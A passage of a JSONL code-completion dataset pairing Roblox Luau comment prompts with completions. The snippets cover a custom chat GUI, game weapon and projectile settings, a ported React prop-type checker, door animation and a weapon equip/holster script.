then\n\t\t\t\t\tclient.Remote.Send('ProcessCustomChat',box.Text,mode)\n\t\t\t\t\tlastChat = tick()\n\t\t\t\t\tif Chatted then\n\t\t\t\t\t\t--Chatted:fire(box.Text)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif not ((mode~=\"Cross\" and tick()-lastChat>=0.5) or (mode==\"Cross\" and tick()-lastChat>=10)) then\n\t\t\t\tlocal tim\n\t\t\t\tif mode == \"Cross\" then\n\t\t\t\t\ttim = 10-(tick()-lastChat)\n\t\t\t\telse\n\t\t\t\t\ttim = 0.5-(tick()-lastChat)\n\t\t\t\tend\n\t\t\t\ttim = string.sub(tostring(tim),1,3)\n\t\t\t\tclient.Functions.SendToChat(\"SpamBot\",\"Sending too fast! Please wait \"..tostring(tim)..\" seconds.\",\"System\")\n\t\t\tend\n\t\t\tbox.Text = \"Click here or press the '/' key to chat\"\n\t\t\tfadeOut()\n\t\t\tif mode ~= \"Cross\" then\n\t\t\t\tlastChat = tick()\n\t\t\tend\n\t\tend\n\tend)\n\t\n\tbox.Focused:connect(function() \n\t\tboxFocused = true\n\t\tif box.Text==\"Click here or press the '/' key to chat\" then \n\t\t\tbox.Text = '' \n\t\tend \n\t\tfadeIn()\n\tend)\n\t\n\tif not nohide then\n\t\tservice.UserInputService.InputBegan:connect(function(InputObject)\n\t\t\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\t\t\tif not (textbox) and InputObject.UserInputType==Enum.UserInputType.Keyboard and InputObject.KeyCode == Enum.KeyCode.Slash then\n\t\t\t\tif box.Text==\"Click here or press the '/' key to chat\" then box.Text='' end\n\t\t\t\tbox:CaptureFocus()\n\t\t\tend\n\t\tend)\n\tend\n\t\n\tlocal mouse=service.Players.LocalPlayer:GetMouse()\n\tlocal nx,ny=drag.AbsoluteSize.X,frame.AbsoluteSize.Y--450,200\n\tlocal dragging=false\n\tlocal defx,defy=nx,ny\n\tmouse.Move:connect(function(x,y) \n\t\tif dragging then\n\t\t\tnx=defx+(dragger.Position.X.Offset+20)\n\t\t\tny=defy+(dragger.Position.Y.Offset+20)\n\t\t\tif nx<260 then nx=260 end\n\t\t\tif ny<100 then ny=100 end\n\t\t\tframe.Size=UDim2.new(1, 0, 0, ny) \n\t\t\tdrag.Size=UDim2.new(0, nx, 0, 30) \n\t\tend\n\tend)\n\tdragger.DragBegin:connect(function(init)\n\t\tdragging=true\n\tend)\n\tdragger.DragStopped:connect(function(x,y)\n\t\tdragging=false\n\t\tdefx=nx\n\t\tdefy=ny\n\t\tdragger.Position=UDim2.new(1,-20,1,-20)\n\t\tUpdateChat()\n\tend)\n\t\n\tUpdateChat()\n\t\n\t--[[\n\tif not service.UserInputService.KeyboardEnabled then \n\t\twarn(\"User is on mobile :: CustomChat Disabled\") \n\t\tchatenabled = true\n\t\tdrag.Visible = false\n\t\tservice.StarterGui:SetCoreGuiEnabled('Chat',true)\n\tend\t\n\t--]]\n\t\n\tclient.Functions.RemoveCustomChat = function()\n\t\tlocal chat=gui\n\t\tif chat then chat:Destroy() client.Variables.ChatEnabled = true service.StarterGui:SetCoreGuiEnabled('Chat',true) end\n\tend\n\t\n\tclient.Functions.SendToChat = function(plr,message,mode)\n\t\tif not message then return end\n\t\tif string.sub(message,1,2)=='/e' then return end\n\t\tif gui then\n\t\t\tlocal globalTab = gui.Drag.Frame.Frame.Global\n\t\t\tlocal teamTab = gui.Drag.Frame.Frame.Team\n\t\t\tlocal localTab = gui.Drag.Frame.Frame.Local\n\t\t\tlocal adminsTab = gui.Drag.Frame.Frame.Admins\n\t\t\tlocal global = gui.Drag.Frame.Global\n\t\t\tlocal team = gui.Drag.Frame.Team\n\t\t\tlocal localb = gui.Drag.Frame.Local\n\t\t\tlocal admins = gui.Drag.Frame.Admins\n\t\t\tlocal entry = gui.Entry\n\t\t\tlocal bubble = gui.Bubble\n\t\t\tlocal tester = gui.BoundTest\n\t\t\t\n\t\t\tlocal num = 0\n\t\t\tlocal player\n\t\t\t\n\t\t\tif plr and type(plr) == \"userdata\" then\n\t\t\t\tplayer = plr\n\t\t\telse\n\t\t\t\tplayer = {Name = tostring(plr or \"System\"), TeamColor = BrickColor.White()}\n\t\t\tend\n\t\t\t\n\t\t\tif #message>150 then message = string.sub(message,1,150)..\"...\" end\n\t\t\t\n\t\t\tif mode then\n\t\t\t\tif mode==\"Private\" or mode==\"System\" then\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Global\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Team\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Local\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Admins\",Private=true})\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=player.Name,Message=message,Mode=\"Cross\",Private=true})\n\t\t\t\telse\n\t\t\t\t\tlocal plr = player.Name\n\t\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=plr,Message=message,Mode=mode})\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlocal plr = player.Name\n\t\t\t\ttable.insert(storedChats,{Color=player.TeamColor or BrickColor.White(),Player=plr,Message=message,Mode=\"Global\"})\n\t\t\tend\n\t\t\t\n\t\t\tif mode==\"Local\" then\n\t\t\t\tif not localTab.Visible then\n\t\t\t\t\tlocalb.Text = \"Local*\"\n\t\t\t\tend\n\t\t\telseif mode==\"Team\" then\n\t\t\t\tif not teamTab.Visible then\n\t\t\t\t\tteam.Text = \"Team*\"\n\t\t\t\tend\n\t\t\telseif mode==\"Admins\" then\n\t\t\t\tif not adminsTab.Visible then\n\t\t\t\t\tadmins.Text = \"Admins*\"\n\t\t\t\tend\n\t\t\telseif mode==\"Cross\" then\n\t\t\t\tif not crossTab.Visible then\n\t\t\t\t\tcross.Text = \"Cross*\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif not globalTab.Visible then\n\t\t\t\t\tglobal.Text = \"Global*\"\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\t\t\tif #storedChats>=50 then\n\t\t\t\ttable.remove(storedChats,1)\n\t\t\tend\n\t\t\t\n\t\t\tUpdateChat()\n\t\t\t\n\t\t\tif not nohide then\n\t\t\t\tif player and type(player)==\"userdata\" then\n\t\t\t\t\tlocal char = player.Character\n\t\t\t\t\tlocal head = char:FindFirstChild(\"Head\")\n\t\t\t\t\t\n\t\t\t\t\tif head then\n\t\t\t\t\t\tlocal cont = service.LocalContainer():FindFirstChild(player.Name..\"Bubbles\")\n\t\t\t\t\t\tif not cont then\n\t\t\t\t\t\t\tcont = Instance.new(\"BillboardGui\",service.LocalContainer())\n\t\t\t\t\t\t\tcont.Name = player.Name..\"Bubbles\"\n\t\t\t\t\t\t\tcont.StudsOffset = Vector3.new(0,2,0)\n\t\t\t\t\t\t\tcont.SizeOffset = Vector2.new(0,0.5)\n\t\t\t\t\t\t\tcont.Size = UDim2.new(0,200,0,150)\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tcont.Adornee = head\n\t\t\t\t\n\t\t\t\t\t\tlocal clone = bubble:Clone()\n\t\t\t\t\t\tclone.TextLabel.Text = message\n\t\t\t\t\t\tclone.Parent = cont\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal xsize = clone.TextLabel.TextBounds.X+40\n\t\t\t\t\t\tif xsize>400 then xsize=400 end\n\t\t\t\t\t\tclone.Size = UDim2.new(0,xsize,0,50)\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif #cont:children()>3 then\n\t\t\t\t\t\t\tcont:children()[1]:Destroy()\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tfor i,v in pairs(cont:children()) do\n\t\t\t\t\t\t\tlocal xsize = v.TextLabel.TextBounds.X+40\n\t\t\t\t\t\t\tif xsize>400 then xsize=400 end\n\t\t\t\t\t\t\tv.Position = UDim2.new(0.5,-xsize/2,1,-(math.abs((i-1)-#cont:children())*50))\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tlocal cam = service.Workspace.CurrentCamera\n\t\t\t\t\t\tlocal char = player.Character\n\t\t\t\t\t\tlocal head = char:FindFirstChild(\"Head\")\n\t\t\t\t\t\tlocal label = clone.TextLabel\n\t\t\t\t\t\t\n\t\t\t\t\t\tRoutine(function() \n\t\t\t\t\t\t\trepeat \n\t\t\t\t\t\t\t\tif not head then break end\n\t\t\t\t\t\t\t\tlocal dist = (head.Position - cam.CoordinateFrame.p).magnitude\n\t\t\t\t\t\t\t\tif dist <= 50 then \n\t\t\t\t\t\t\t\t\tclone.Visible = true\n\t\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t\t\tclone.Visible = false\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\twait(0.1) \n\t\t\t\t\t\t\tuntil not clone.Parent or not clone or not head or not head.Parent or not char\n\t\t\t\t\t\tend)\n\t\t\t\t\t\t\n\t\t\t\t\t\twait(10)\n\t\t\t\t\t\t\n\t\t\t\t\t\tif clone then clone:Destroy() end\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tlocal textbox = service.UserInputService:GetFocusedTextBox()\n\tif textbox then \n\t\ttextbox:ReleaseFocus() \n\tend\nend\n"} +{"prompt": "---[[ Chat Behaviour Settings ]]", "completion": "\nmodule.WindowDraggable = false\nmodule.WindowResizable = false\nmodule.ShowChannelsBar = false\nmodule.GamepadNavigationEnabled = false\nmodule.ShowUserOwnFilteredMessage = true\t--Show a user the filtered version of their message rather than the original."} +{"prompt": "--[[\n\tPacks a number of arguments into a table and returns its length.\n\n\tUsed to cajole varargs without dropping sparse values.\n]]", "completion": "\nlocal function pack(...)\n\treturn select(\"#\", ...), { ... }\nend\n"} +{"prompt": "--// G-Force Meter V1 by Itzt", "completion": "\n\nlocal plr = game.Players.LocalPlayer\nrepeat wait() until plr.Character\n"} +{"prompt": "----------------------------------------------------------------------------------------------------\n-------------------=[ PROJETIL ]=-------------------------------------------------------------------\n----------------------------------------------------------------------------------------------------", "completion": "\n\t,Distance = 10000\n\t,BDrop = .25\n\t,BSpeed = 2200\n\n\t,SuppressMaxDistance = 25\t--- Studs\n\t,SuppressTime = 10\t\t\t--- Seconds\n\n\t,BulletWhiz = true\n\t,BWEmitter = 25\n\t,BWMaxDistance = 200\n\t\n\t,BulletFlare = false\n\t,BulletFlareColor = Color3.fromRGB(255,255,255)\n\n\t,Tracer = true\n\t,TracerColor = Color3.fromRGB(255,255,255)\n\t,TracerLightEmission = 1\n\t,TracerLightInfluence = 0\n\t,TracerLifeTime = .2\n\t,TracerWidth = .1\n\t,RandomTracer = false\n\t,TracerEveryXShots = 0\n\t,TracerChance = 100\n\t\n\t,BulletLight = false\n\t,BulletLightBrightness = 1\n\t,BulletLightColor = Color3.fromRGB(255,255,255)\n\t,BulletLightRange = 10\n\n\t,ExplosiveHit = false\n\t,ExPressure = 500\n\t,ExpRadius = 25\n\t,DestroyJointRadiusPercent = 0\t--- Between 0 & 1\n\t,ExplosionDamage = 50\n\n\t,LauncherDamage = {20,40}\n\t,LauncherRadius = 10\n\t,LauncherPressure = 200\n\t,LauncherDestroyJointRadiusPercent = 0"} +{"prompt": "-- Attack configuration", "completion": "\nlocal ATTACK_DAMAGE = getValueFromConfig(\"AttackDamage\")\nlocal ATTACK_RADIUS = getValueFromConfig(\"AttackRadius\")\n"} +{"prompt": "--[[\n\tROBLOX TODO: (ADO-1217) uncomment the iterableEquality export once the\n\tfunction has been properly implemented\n]]", "completion": "\nreturn {\n\tgetPath = getPath,\n\tgetObjectSubset = getObjectSubset,\n\titerableEquality = iterableEquality,\n\tsubsetEquality = subsetEquality,\n\t-- ROBLOX deviation: Roblox Instance matchers\n\t-- ROBLOX TODO: uncomment when implementing snapshot property matchers on Instances\n\t-- instanceSubsetEquality = RobloxShared.RobloxInstance.instanceSubsetEquality,\n\ttypeEquality = typeEquality,\n\t-- ROBLOX deviation: skipped as Lua doesn't support ArrayBuffer\n\t-- arrayBufferEquality = arrayBufferEquality,\n\tsparseArrayEquality = sparseArrayEquality,\n\tpartition = partition,\n\tpathAsArray = pathAsArray,\n\tisError = isError,\n\temptyObject = emptyObject,\n\tisOneline = isOneline,\n}\n"} +{"prompt": "--[[**\n\tensures Roblox Region3int16 type\n\n\t@param value The value to check against\n\n\t@returns True iff the condition is satisfied, false otherwise\n**--]]", "completion": "\nt.Region3int16 = primitive(\"Region3int16\")\n"} +{"prompt": "------------------------------------------------------------------------------\n---------- This code tries to load dynamically into an ongoing show ----------", "completion": "\n\nlocal timeUntilNextShow, timeIntoShow = calculateShowTimes()\nlocal shouldLoadPSV = true\n\nfor _,scene in ipairs(SHOW_SCENES) do\n\tlocal sceneLength = scene:GetAttribute(\"TimeLength\")\n\tif timeIntoShow then\n\t\tif timeIntoShow < sceneLength then\n\t\t\t-- Jump into mid scene of show\n\t\t\tEventSequencer.loadScene(scene.Name, timeIntoShow)\n\t\t\tshouldLoadPSV = false\n\t\t\tbreak\n\t\telse\n\t\t\ttimeIntoShow = timeIntoShow - sceneLength\n\t\tend\n\tend\nend\n\nif shouldLoadPSV then\n\tloadPreShowVenue()\nend\n\n\n"} +{"prompt": "-- loop to handle timed state transitions and tool animations", "completion": "\nwhile Character.Parent ~= nil do\n\tlocal _, currentGameTime = wait(0.1)\n\tstepAnimate(currentGameTime)\nend\n\n"} +{"prompt": "--[[handle.ChildRemoved:Connect(function(WHAT) --antinosound\n\tif WHAT.ClassName == \"Sound\" and not table.find(soundsdisabledfromrefit, WHAT.Name) then\n\t\tlocal backups = Instance.new(\"Sound\", handle)\n\t\tbackups.SoundId = WHAT.SoundId\n\t\tbackups.Volume = WHAT.Volume\n\t\tbackups.Name = WHAT.Name\n\tend\nend)--]]", "completion": "\n"} +{"prompt": "-- Forward Declerations", "completion": "\nlocal setup = nil\nlocal reset = nil\nlocal update = nil\n"} +{"prompt": "--handle.ClickDetector.MouseClick:Connect(function(player, part)", "completion": "\n\tif doorOpen == true and changingState == false then\n\t\tchangingState = true\n\t\tsoundo:Play()\n\t\tfor i = 1, 16 do\n\t\t\tscript.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, 0.1))\n\t\t\twait(0.0001)\n\t\tend\n\t\tscript.Parent.Key.ProxPart.ProximityPrompt.Enabled = false\n\t\tscript.Parent.Key.md.Prompt.Enabled = false\n\t\tchangingState = false\n\t\tdoorOpen = false\n\telseif changingState == false then\n\t\tchangingState = true\n\t\tsoundc:Play()\n\t\tfor i = 1, 16 do\n\t\t\tscript.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, -0.1))\n\t\t\twait(0.0001)\n\n\t\tend\n\t\tscript.Parent.Key.ProxPart.ProximityPrompt.Enabled = true\n\t\tscript.Parent.Key.md.Prompt.Enabled = true\n\t\tchangingState = false\n\t\tdoorOpen = true\n\tend\nend)\n"} +{"prompt": "-- FIXME Luau: doesn't see `if element` as nilable table, so we get TypeError: Type 'any?' could not be converted into '{| _owner: {| type: nil |}, _source: Source?, type: any |}'", "completion": "\nlocal function setCurrentlyValidatingElement(element: any?)\n\tif _G.__DEV__ then\n\t\tif element then\n\t\t\tlocal owner = element._owner\n\t\t\tlocal stack = describeUnknownElementTypeFrameInDEV(\n\t\t\t\telement.type,\n\t\t\t\telement._source,\n\t\t\t\tif owner ~= nil then owner.type else nil\n\t\t\t);\n\t\t\t-- FIXME Luau: Cannot call non-function ((string?) -> ()) | ((string?) -> ())\n\t\t\t(ReactDebugCurrentFrame.setExtraStackFrame :: any)(stack)\n\t\telse\n\t\t\t(ReactDebugCurrentFrame.setExtraStackFrame :: any)(nil)\n\t\tend\n\tend\nend\n\nlocal function checkPropTypes

(\n\t-- deviation START: also checks validateProps if present\n\tpropTypes: Object?,\n\tvalidateProps: (P) -> (boolean, string?)?,\n\tprops: P,\n\t-- deviation END\n\tlocation: string,\n\tcomponentName: string?,\n\telement: any?\n): ()\n\tif _G.__DEV__ or _G.__DISABLE_ALL_WARNINGS_EXCEPT_PROP_VALIDATION__ then\n\t\t-- deviation: hasOwnProperty shouldn't be relevant to lua objects\n\t\t-- $FlowFixMe This is okay but Flow doesn't know it.\n\t\t-- local has = Function.call.bind(Object.prototype.hasOwnProperty)\n\n\t\t-- deviation: warns if both propType and validateProps defined.\n\t\tif propTypes and validateProps then\n\t\t\tconsole.warn(\"You've defined both propTypes and validateProps on \" .. (componentName or \"a component\"))\n\t\tend\n\n\t\t-- deviation: also checks validateProps if present\n\t\tif validateProps then\n\t\t\tif typeof(validateProps) ~= \"function\" then\n\t\t\t\tconsole.error(\n\t\t\t\t\t(\"validateProps must be a function, but it is a %s.\\nCheck the definition of the component %q.\"):format(\n\t\t\t\t\t\ttypeof(validateProps),\n\t\t\t\t\t\tcomponentName or \"\"\n\t\t\t\t\t)\n\t\t\t\t)\n\t\t\telse\n\t\t\t\tlocal success, failureReason = validateProps(props)\n\n\t\t\t\tif not success then\n\t\t\t\t\tfailureReason = failureReason or \"\"\n\t\t\t\t\tlocal message = string.format(\n\t\t\t\t\t\t\"validateProps failed on a %s type in %s: %s\",\n\t\t\t\t\t\tlocation,\n\t\t\t\t\t\tcomponentName or \"\",\n\t\t\t\t\t\ttostring(failureReason)\n\t\t\t\t\t)\n\t\t\t\t\t-- deviation: In legacy Roact, prop validation\n\t\t\t\t\t-- failures throw. We replicate that behavior, even though\n\t\t\t\t\t-- it differs from propTypes (which only warns)\n\t\t\t\t\t-- FIXME: align with upstream behavior during React 18 Lua transition\n\t\t\t\t\terror(message)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\tif propTypes then\n\t\t\t-- deviation: since we can't constrain the generic, we assert so Luau knows propTypes is a table\n\t\t\tassert(typeof(propTypes) == \"table\", \"propTypes needs to be a table\")\n\t\t\tfor typeSpecName, _ in propTypes do\n\t\t\t\t-- deviation: since our loop won't hit metatable members, we don't\n\t\t\t\t-- need to worry about encountering inherited properties here\n\t\t\t\t-- if has(propTypes, typeSpecName) then\n\n\t\t\t\t-- Prop type validation may throw. In case they do, we don't want to\n\t\t\t\t-- fail the render phase where it didn't fail before. So we log it.\n\t\t\t\t-- After these have been cleaned up, we'll local them throw.\n\t\t\t\tlocal _, result = xpcall(function()\n\t\t\t\t\t-- This is intentionally an invariant that gets caught. It's the same\n\t\t\t\t\t-- behavior as without this statement except with a better message.\n\t\t\t\t\tif typeof(propTypes[typeSpecName]) ~= \"function\" then\n\t\t\t\t\t\tlocal err = Error.new(\n\t\t\t\t\t\t\t(componentName or \"React class\")\n\t\t\t\t\t\t\t\t.. \": \"\n\t\t\t\t\t\t\t\t.. location\n\t\t\t\t\t\t\t\t.. \" type `\"\n\t\t\t\t\t\t\t\t.. typeSpecName\n\t\t\t\t\t\t\t\t.. \"` is invalid; \"\n\t\t\t\t\t\t\t\t.. \"it must be a function, usually from the `prop-types` package, but received `\"\n\t\t\t\t\t\t\t\t.. typeof(propTypes[typeSpecName])\n\t\t\t\t\t\t\t\t.. \"`.\"\n\t\t\t\t\t\t\t\t.. \"This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.\"\n\t\t\t\t\t\t)\n\t\t\t\t\t\terr.name = \"Invariant Violation\"\n\t\t\t\t\t\terror(err)\n\t\t\t\t\tend\n\n\t\t\t\t\treturn (propTypes[typeSpecName] :: Function)(\n\t\t\t\t\t\tprops,\n\t\t\t\t\t\ttypeSpecName,\n\t\t\t\t\t\tcomponentName,\n\t\t\t\t\t\tlocation,\n\t\t\t\t\t\tnil,\n\t\t\t\t\t\t\"SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED\"\n\t\t\t\t\t)\n\t\t\t\tend, describeError)\n\n\t\t\t\t-- deviation: FIXME: Can we expose something from JSPolyfill that\n\t\t\t\t-- will let us verify that this is specifically the Error object\n\t\t\t\t-- defined there? if we check for result.message ~= nil, ReactNewContext.spec:1368 fails\n\t\t\t\tlocal isErrorObject = typeof(result) == \"table\"\n\t\t\t\tif result ~= nil and not isErrorObject then\n\t\t\t\t\tsetCurrentlyValidatingElement(element)\n\t\t\t\t\tconsole.error(string.format(\n\t\t\t\t\t\t-- deviation: s/null/nil\n\t\t\t\t\t\t\"%s: type specification of %s\"\n\t\t\t\t\t\t\t.. \" `%s` is invalid; the type checker \"\n\t\t\t\t\t\t\t.. \"function must return `nil` or an `Error` but returned a %s. \"\n\t\t\t\t\t\t\t.. \"You may have forgotten to pass an argument to the type checker \"\n\t\t\t\t\t\t\t.. \"creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and \"\n\t\t\t\t\t\t\t.. \"shape all require an argument).\",\n\t\t\t\t\t\tcomponentName or \"React class\",\n\t\t\t\t\t\tlocation,\n\t\t\t\t\t\ttypeSpecName,\n\t\t\t\t\t\ttypeof(result)\n\t\t\t\t\t))\n\t\t\t\t\tsetCurrentlyValidatingElement(nil)\n\t\t\t\tend\n\n\t\t\t\t-- FIXME: Luau analyze doesn't understand isErrorObject's effect as a predicate meaning result ~= nil\n\t\t\t\tif isErrorObject and loggedTypeFailures[(result :: any).message] == nil then\n\t\t\t\t\t-- Only monitor this failure once because there tends to be a lot of the\n\t\t\t\t\t-- same error.\n\t\t\t\t\tloggedTypeFailures[tostring((result :: any).message)] = true\n\t\t\t\t\tsetCurrentlyValidatingElement(element)\n\t\t\t\t\tconsole.warn(string.format(\"Failed %s type: %s\", location, tostring((result :: any).message)))\n\t\t\t\t\tsetCurrentlyValidatingElement(nil)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend\n\nreturn checkPropTypes\n"} +{"prompt": "-- Make the AnimBase", "completion": "\n\tL_17_ = Instance.new(\"Part\", L_3_)\n\tL_17_.FormFactor = \"Custom\"\n\tL_17_.CanCollide = false\n\tL_17_.Transparency = 1\n\tL_17_.Anchored = false\n\tL_17_.Name = \"AnimBase\"\n\t\n\tL_18_ = Instance.new(\"Motor6D\")\n\tL_18_.Part0 = L_17_\n\tL_18_.Part1 = L_53_\n\tL_18_.Parent = L_17_\n\tL_18_.Name = \"AnimBaseW\"\n\t--AnimBaseW.C1 = gunSettings.StartPose\t\n\t\n\tL_14_ = Instance.new(\"Motor6D\")\n\tL_14_.Part0 = L_3_['Right Arm']\n\tL_14_.Part1 = L_1_:FindFirstChild('Grip')\n\tL_14_.Parent = L_3_['Right Arm']\n\tL_14_.C1 = L_11_.GunPos\n\tL_14_.Name = \"Grip\"\n\t\n\tfor L_55_forvar1, L_56_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_56_forvar2:IsA(\"Part\") or L_56_forvar2:IsA(\"MeshPart\") or L_56_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_56_forvar2.Anchored = true\n\t\t\t\n\t\t\tif L_56_forvar2.Name ~= \"Grip\" and L_56_forvar2.Name ~= \"Bolt\" and L_56_forvar2.Name ~= 'Lid' then\n\t\t\t\tWeld(L_56_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\tend\n\t\t\t\n\t\t\tif L_56_forvar2.Name == \"Bolt\" then\n\t\t\t\tif L_1_:FindFirstChild('BoltHinge') then\n\t\t\t\t\tWeld(L_56_forvar2, L_1_:WaitForChild(\"BoltHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_56_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend;\n\t\t\t\n\t\t\tif L_56_forvar2.Name == \"Lid\" then\n\t\t\t\tif L_1_:FindFirstChild('LidHinge') then\n\t\t\t\t\tWeld(L_56_forvar2, L_1_:WaitForChild(\"LidHinge\"))\n\t\t\t\telse\n\t\t\t\t\tWeld(L_56_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_57_forvar1, L_58_forvar2 in pairs(L_12_:GetChildren()) do\n\t\tif L_58_forvar2:IsA('Part') then\n\t\t\tWeld(L_58_forvar2, L_1_:WaitForChild(\"Grip\"))\n\t\tend\n\tend\n\t\n\tfor L_59_forvar1, L_60_forvar2 in pairs(L_12_:GetChildren()) do\n\t\tif L_60_forvar2:IsA('Part') then\n\t\t\tL_60_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tfor L_61_forvar1, L_62_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_62_forvar2:IsA(\"Part\") or L_62_forvar2:IsA(\"MeshPart\") or L_62_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_62_forvar2.Anchored = false\n\t\tend\n\tend\n\t\n\tL_19_ = L_3_['Right Arm']\n\tL_20_ = L_3_['Left Arm']\n\tL_23_ = L_3_.Torso:WaitForChild(\"Right Shoulder\")\n\tL_24_ = L_3_.Torso:WaitForChild(\"Left Shoulder\")\n\t\n\tL_21_ = Instance.new(\"Motor6D\")\n\tL_21_.Name = \"RAW\"\n\tL_21_.Part0 = L_17_\n\tL_21_.Part1 = L_19_\n\tL_21_.Parent = L_17_\n\tL_21_.C1 = L_11_.RightArmPos\n\tL_3_.Torso:WaitForChild(\"Right Shoulder\").Part1 = nil\n\t\t\n\tL_22_ = Instance.new(\"Motor6D\")\n\tL_22_.Name = \"LAW\"\n\tL_22_.Part0 = L_17_\n\tL_22_.Part1 = L_20_\n\tL_22_.Parent = L_17_\n\tL_22_.C1 = L_11_.LeftArmPos\n\tL_3_.Torso:WaitForChild(\"Left Shoulder\").Part1 = nil\n\t\n\tL_13_ = L_7_:WaitForChild('MainGui'):clone()\n\tL_13_.Parent = L_2_.PlayerGui\n\t\n\tif L_29_ then\n\t\tL_29_:Destroy()\n\tend\n\t\n\tL_30_:FireClient(L_2_, true, L_14_, L_17_, L_18_, L_21_, L_22_, L_16_)\nend)\n\nL_1_.Unequipped:connect(function()\n\tlocal L_63_ = L_3_:FindFirstChild('Torso')\n\tlocal L_64_ = L_3_:FindFirstChild('Head')\n\tL_29_ = Instance.new('Model', L_3_)\n\tL_29_.Name = \"HolsterModel\"\n\t\n\tfor L_65_forvar1, L_66_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tfor L_67_forvar1, L_68_forvar2 in pairs(L_66_forvar2:GetChildren()) do\n\t\t\tif L_68_forvar2.ClassName == \"Motor6D\" then\n\t\t\t\tL_68_forvar2:Destroy()\n\t\t\tend\n\t\tend\n\tend\n\t\n\tfor L_69_forvar1, L_70_forvar2 in pairs(L_1_:GetChildren()) do\n\t\tif L_70_forvar2:IsA(\"Part\") or L_70_forvar2:IsA(\"MeshPart\") or L_70_forvar2:IsA(\"UnionOperation\") then\n\t\t\tL_70_forvar2.Anchored = true\n\t\tend\n\tend\n\t\n\tif L_3_.Humanoid and L_3_.Humanoid.Health > 0 then\n\t\tL_3_.HumanoidRootPart.RootJoint.C0 = CFrame.new(0, 0, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\tL_63_['Right Hip'].C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)\n\t\tL_63_['Left Hip'].C0 = CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_16_.C0 = CFrame.new(0, 1, 0, -1, 0, 0, 0, 0, 1, 0, 1, -0)\n\t\t\n\t\tL_3_.HumanoidRootPart.RootJoint.C1 = CFrame.new(0, 0, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\t\tL_63_['Right Hip'].C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)\n\t\tL_63_['Left Hip'].C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)\n\t\tL_16_.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)\n\tend\n\t\n\tL_63_:WaitForChild(\"Neck\").Part1 = L_64_\n\tL_63_:WaitForChild(\"Neck\").C1 = L_63_:WaitForChild(\"Neck\").C1\n\tL_63_:WaitForChild(\"Neck\").C0 = L_63_:WaitForChild(\"Neck\").C0\n\t\n\tL_17_:Destroy()\n\tL_16_:Destroy()\n\tL_23_.Part1 = L_19_\n\tL_24_.Part1 = L_20_\n\t\n\tL_30_:FireClient(L_2_, false)\n\t\n\tif L_11_.HolsteringEnabled then\n\t\tfor L_72_forvar1, L_73_forvar2 in pairs(L_1_:GetChildren()) do\n\t\t\tif L_73_forvar2:IsA(\"Part\") or L_73_forvar2:IsA(\"MeshPart\") or L_73_forvar2:IsA(\"UnionOperation\") then\n\t\t\t\tL_73_forvar2.Anchored = true\n\t\t\t\tlocal L_74_ = L_73_forvar2:clone()\n\t\t\t\tL_74_.Parent = L_29_\n\t\t\tend\n\t\tend;\n\t\t\n\t\tfor L_75_forvar1, L_76_forvar2 in pairs(L_29_:GetChildren()) do\n\t\t\tWeld(L_76_forvar2, L_29_:WaitForChild(\"Grip\"))\n\t\tend\n\t\t\n\t\tlocal L_71_ = Weld(L_29_:WaitForChild(\"Grip\"), L_3_:WaitForChild('Torso'))\n\t\tL_71_.Name = \"TWeld\"\n\t\tL_71_.C1 = L_11_.HolsterPos\n\t\t\n\t\tfor L_77_forvar1, L_78_forvar2 in pairs(L_29_:GetChildren()) do\n\t\t\tL_78_forvar2.Anchored = 